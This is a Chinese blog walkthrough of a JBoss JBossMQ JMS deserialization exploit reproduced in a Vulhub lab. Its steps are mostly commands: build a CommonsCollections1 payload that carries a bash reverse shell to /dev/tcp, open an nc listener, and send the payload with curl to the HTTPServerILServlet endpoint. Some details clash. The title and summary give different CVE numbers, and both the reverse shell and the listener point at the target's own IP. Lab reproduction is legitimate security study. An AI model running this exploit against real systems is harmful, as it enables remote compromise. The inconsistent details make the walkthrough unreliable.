（CVE-2017-7504）JBoss 4.x JBossMQ JMS 反序列化漏洞

最新推荐文章于 2024-09-22 15:59:58 发布

原创最新推荐文章于 2024-09-22 15:59:58 发布 · 393 阅读

1 ·

CC 4.0 BY-SA版权

CVE 专栏收录该内容

13 篇文章

订阅专栏

本文介绍如何利用Vulhub环境复现CVE-2015-7501漏洞，包括搭建靶机、生成恶意序列化文件及实现远程代码执行的过程。

漏洞复现
复现环境：vulhub
1.打开环境
命令：docker-compose up -d
在这里插入图片描述
打开网址

靶机搭建完成（ip：10.0.78.22）
3.用kali作攻击机（ip：192.168.43.129）
下载序列化工具JavaDeserH2HC：https://github.com/ianxtianxt/CVE-2015-7501/
解压后将其拖进kali

4.执行命令
命令：javac -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1WithHashMap.java
在这里插入图片描述
执行完后将会生成ExampleCommonsCollections1WithHashMap.class文件

5.继续执行命令
命令：java -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1WithHashMap “bash -i >& /dev/tcp/10.0.78.22/4444 0>&1”

执行完后将会生成ExampleCommonsCollections1WithHashMap.ser文件
在这里插入图片描述
6.在靶机上开启4444端口监听
命令：nc -lvp 4444

7.在攻击kali上将新生成的ser文件作为body发送数据包
命令：curl http://10.0.78.22:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @ExampleCommonsCollections1WithHashMap.ser

8.查看靶机是否反弹
在这里插入图片描述

成功反弹shell